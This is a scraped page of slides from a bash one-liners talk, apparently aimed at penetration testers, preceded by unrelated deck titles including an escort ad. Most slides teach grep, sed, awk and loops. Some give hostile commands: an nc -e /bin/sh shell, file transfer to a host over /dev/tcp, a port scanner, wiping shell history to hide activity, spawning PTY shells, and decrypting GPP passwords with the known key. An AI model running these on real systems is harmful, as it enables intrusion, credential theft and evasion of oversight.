Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
 
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.com
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStack
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
 
Asset Management Software - Infographic
Asset Management Software - InfographicAsset Management Software - Infographic
Asset Management Software - Infographic
 

One-Liners to Rule Them All

  • 1. One-Liners to Rule Them All egypt wvu
  • 2. What this is Bash basics ● Minor portability considerations One-liners and demos of stuff we find to be useful @egyp7 @wvuuuuuuuuuuuuu
  • 3. What this isn’t Linux system administration ● Although there is some amount of overlap Reading the man page to you @egyp7 @wvuuuuuuuuuuuuu
  • 6.
  • 7.
  • 8. From the abstract Sometimes you just need to pull out the third column of a CSV file. Sometimes you just need to sort IP addresses. Sometimes you have to pull out IP addresses from the third column and sort them, but only if the first column is a particular string and for some reason the case is random.
  • 9. Up, edit, enter, repeat cat file cat file | grep open cat file | grep -i open cat file | grep -i open | cut -d, -f3 grep -i open | cut -d, -f3 grep -i open | cut -d, -f3 | sort -V awk -F, 'tolower($1) ~ /open/ { print $3 }' file | sort -V
  • 10. Conventions Commands are usually suffixed with a man(1) section Almost all of what we’re talking about here is man section 1 But there’s naming overlaps with syscalls (man section 2), C functions (man section 3), and occasionally config files (man section 5)
  • 11.
  • 12. Core Concepts ● Pipes and redirection ● Variables and substitution ● Standard tools ● History expansion ● Brace expansion ● Tilde expansion
  • 14. Pipes and Redirection ● echo wut | cat ● echo wut > /tmp/wut ○ cat /tmp/wut ○ cat < /tmp/wut File descriptors: &0 &1 &2 &n nc -e /bin/sh [...] exec 2>&1 exec 3<>/dev/tcp/10.1.1.1/80;echo $'GET / HTTP/1.0n' >&3;cat <&3
  • 15. Standards grep(1), sed(1), cut(1), sort(1), awk(1) Builtins -- echo, test, read, while, for
  • 16. grep Searches in Text Regular expressions are tricky, but you can learn the basics quickly. A large portion of regexes involve these three things: ● .* any number of characters ● ^ anchor at beginning ● $ anchor at end grep '500.*Chrome' /var/log/apache2/error.log
  • 17. sed is an Editor sed -e 1d -e s/foo/bar/g /tmp/foo sed '1d; s/foo/bar/g' /tmp/foo sed -i '/192.168.0.1/d' /var/log/apache2/access.log
  • 18. ed is the Standard Editor
  • 19. cut is a babby awk echo a,b,c,d,e | cut -d, -f 1-3,5 Roughly equivalent to awk -F, ‘{ print $1 $2 $3 $5 }’
  • 20. sort … sorts stuff sort file cat file1 file2 file3 | sort sort -u
  • 21. cat … Concatenates stuff Lots of folks will tell you not to use cat. There exists a Useless Use of Cat Award to tell you not to use cat Don’t listen to those people. Hack the way you wanna hack. But there’s really no reason to use cat.
  • 22. Useless Use of Cat @egyp7 @wvuuuuuuuuuuuuu
  • 23. uniq is … Unique Input must be sorted so… “sort -u” covers a lot of it Except for: uniq -c ● Print each unique line along with the number of times it occurred sort | uniq -c
  • 24. awk is a Language This is grep: awk ‘/regex/ { print }’ This is cut: awk -F, ‘{ print $2 }’ But wait! There’s more!
  • 25. Variables and Substitution foo=$(echo wut); echo $foo foo=${PATH//:/ } # PATH with spaces instead of : echo${IFS}wut echo ${file%.txt} # Strip extension
  • 26. History Expansion Handled by Readline ● Controlled with ~/.inputrc !$ !! !* !^ !:2 !:2-6 !-2
  • 27. ~/.inputrc $if Bash Space: magic-space $endif set completion-ignore-case on # Use <up> and <down> to search based on what we've already typed "e[A": history-search-backward "e[B": history-search-forward
  • 28. Brace expansion Everything inside braces, separated by commas ● echo {a,b,c} ● cp file.{csv,txt} As a replacement for seq(1) ● {1..99} # same as `seq 1 99` ● {01..99} # Zero-pad ● {01..99..2} # Zero-pad, with a step of 2
  • 29. Tilde expansion ~user is user’s home dir ● E.g. ~egypt is /home/egypt ~ is the current user’s home directory ● $HOME ~+ is $PWD # Not the same as . ~- is $OLDPWD
  • 30. Loops for var in expression; do command; command; done ● for f in *; do mv “$f” “${f/.csv/.txt}”; done while expression; do command; command; done ● <file while read; do echo “$REPLY”; done ● <file while read line; do echo “$line”; done until expression; do command; command; done ● Inverse of while loop
  • 31. Process and Command Substitution $(), `` echo $(echo wut) ● Substitutes a command for text <(), >() cat <(echo wut) ● Substitutes a command for a file
  • 32. Aliases Great for things you find yourself typing all the time Like macro in C, just direct replacement E.g.: ● alias ll="ls -aLF" ● alias l.="ls -d .[^.]*"
  • 33. Examples Stuff that isn’t super easy to demo
  • 34. Sort IP Addresses With GNU sort(1) and modern BSD, OSX: ● sort -V With POSIX sort(1) ● sort -t . -nk 1,1 -k 2,2 -k 3,3 -k 4,4 sort -u … sort --debug
  • 35. Print unique lines without sorting awk '{ if (!seen[$0]++) print }' /tmp/foo # array named “seen”, with index of current line seen[$0] # will be 0 at first, non-zero after increment !seen[$0]++ # “print” by itself prints $0, the whole line
  • 36. Remote stuff with SSH ssh -J user1@host1 user2@host2 ssh -ND 1080 user1@host1 ssh -NL 3389:desktop-1:3389 user1@host1 ssh -NR 4444:localhost:4444 user1@host1 ssh user1@host1 tee rfile < lfile # Like scp(1) upload ssh user1@host1 cat rfile > lfile # Like scp(1) download
  • 37. Remote stuff with bash gzip -c file > /dev/tcp/192.168.0.1/80 ● /dev/tcp is a special magical “file” in bash ● Compile-time option, default now in Debian derivatives # Shitty portscanner for port in {1..1023}; do : 2> /dev/null > "/dev/tcp/192.168.0.1/$port" && echo "$port" done
  • 38. Random stuff xsel -b < file.txt nc -znv 192.168.0.1 1-1023 |& grep -v refused
  • 40. Files that snitch on you ~/.bash_history ● And ~/.*_history ~/.wget-hsts ~/.lesshst Editors ● Vim: *.swp files, .viminfo ● Emacs: ~ suffixed files
  • 41. STFU, /bin/bash unset HISTFILE export HISTFILE=/dev/null ln -sf /dev/null ~/.bash_history history -c; kill -9 $$
  • 42. STFU, other stuff wget --no-hsts export MYSQL_HISTFILE=/dev/null; mysql ln -sf /dev/null ~/.psql_history; psql vim -ni NONE file ssh -o UserKnownHostsFile=/dev/null
  • 43. Commands that snitch ssh(1) uses your current username if you don’t specify one rdesktop(1) and xfreerdp(1) do the same ftp(1) does, but doesn’t actually send it until you log in
  • 44. Local Opsec ~/.ssh/config User root ~/.netrc default login anonymous password anonymous@mozilla.org ~/.bashrc alias rdesktop=”rdesktop -U Administrator”
  • 46.
  • 48. ls(1), cat(1) aren’t available echo * find . -maxdepth 1 while read line; do echo “$line”; done < file head -n 99999
  • 49. Read binary over text-only link Bajillion ways to do this ● base64, xxd, hexdump, hd, od, openssl base64, perl, python How you parse it on the other side depends on what worked on target
  • 50. Write binary over text-only link printf %b "105114106177" > file.bin xxd -r -p <<<454c467f > file.bin perl -e 'print "105114106177"' > file.bin
  • 51. Bonus! Everything on the previous two slides is automatic on shell sessions in Metasploit. Upload and download just work (tm).
  • 52. Host some stuff python -m SimpleHTTPServer 8080 python -m http.server 8080 ruby -run -e httpd php -S 0:8080 # Interprets PHP, too busybox httpd -p 8080
  • 53. Spawning a PTY shell script -q /dev/null # Uses $SHELL and is mostly portable ● script -qc /bin/bash /dev/null # Spawns bash the GNU way ● script -q /dev/null /bin/bash # Spawns bash the BSD way python -c 'import pty; pty.spawn("/bin/bash")' # Popular! expect -c 'spawn /bin/bash; interact' # Oldie but goodie Many other ways (look for openpty(3) calls)
  • 54. Convert shellcode to hex-escaped bytes objcopy --dump-section .text=/dev/stdout shellcode | xxd -p | sed 's/../x&/g' | tr -d "n" ● Dump .text section ● Convert to hex ● Escape hex ● Delete newlines hexdump -ve '"x" 1/1 "%02x"' ● Equivalent to xxd, sed, and tr
  • 55. Encrypt or decrypt GPP “cpassword” echo -n demo | iconv -t UTF-16LE | openssl enc -aes-256-cbc -a -iv "" -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -nosalt ● Encrypts plaintext “demo” openssl enc -aes-256-cbc -d -a -iv "" -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -nosalt <<<kHB0+HMUTs/6ySSZ8usxXg== ● Decrypts the above
  • 56. Resources http://explainshell.com # Break it down http://www.tldp.org/LDP/abs/html/ # Classic http://wiki.bash-hackers.org/ # Awesome https://mywiki.wooledge.org/BashPitfalls # Good to know Google site:stackoverflow.com @egyp7 @wvuuuuuuuuuuuuu